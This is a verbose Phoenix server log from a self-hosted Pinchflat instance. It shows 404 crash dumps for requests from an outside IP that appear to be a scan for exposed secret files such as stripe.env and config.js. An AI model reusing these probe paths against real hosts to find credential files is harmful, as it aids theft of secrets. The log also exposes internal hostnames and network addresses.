{"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel (truncated) 21:08:41.489 [info] GET /config/stripe.env 21:08:41.489 [debug] QUERY OK source="settings" db=0.1ms idle=54.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.490 [debug] QUERY OK source="settings" db=0.0ms idle=48.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.490 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.490 [error] #PID<0.3292.0> running PinchflatWeb.Endpoint (connection #PID<0.3291.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/stripe.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3291.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49764}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3292.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/stripe.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-lpvK_CztKIAAPWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3291.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49764}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3291.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49764}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3292.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-for (truncated) 21:08:41.636 [info] GET /.circleci/stripe.env 21:08:41.636 [debug] QUERY OK source="settings" db=0.4ms idle=194.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.637 [debug] QUERY OK source="settings" db=0.1ms idle=189.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.637 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.637 [error] #PID<0.3294.0> running PinchflatWeb.Endpoint (connection #PID<0.3293.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.circleci/stripe.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.circleci/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3293.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.circleci/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49770}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3294.0>, params: %{}, path_info: [".circleci", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.circleci/stripe.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-mMsVEakDs8AAPYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3293.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.circleci/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49770}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.circleci/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3293.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.circleci/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49770}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3294.0>, params: %{}, path_info: [".circleci", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/53 (truncated) 21:08:41.646 [info] GET /stripe.env 21:08:41.646 [debug] QUERY OK source="settings" db=0.1ms idle=198.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.646 [debug] QUERY OK source="settings" db=0.1ms idle=156.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.646 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.647 [error] #PID<0.3296.0> running PinchflatWeb.Endpoint (connection #PID<0.3295.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3295.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49774}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3296.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-mPEuMKKfPYAAPaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3295.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49774}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3295.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49774}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3296.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:41.726 [info] GET /config.js 21:08:41.726 [debug] QUERY OK source="settings" db=0.1ms idle=236.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.727 [debug] QUERY OK source="settings" db=0.1ms idle=90.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.727 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.727 [error] #PID<0.3298.0> running PinchflatWeb.Endpoint (connection #PID<0.3297.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3297.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3298.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-miNtgEHljsAAG2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3297.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3297.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3298.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 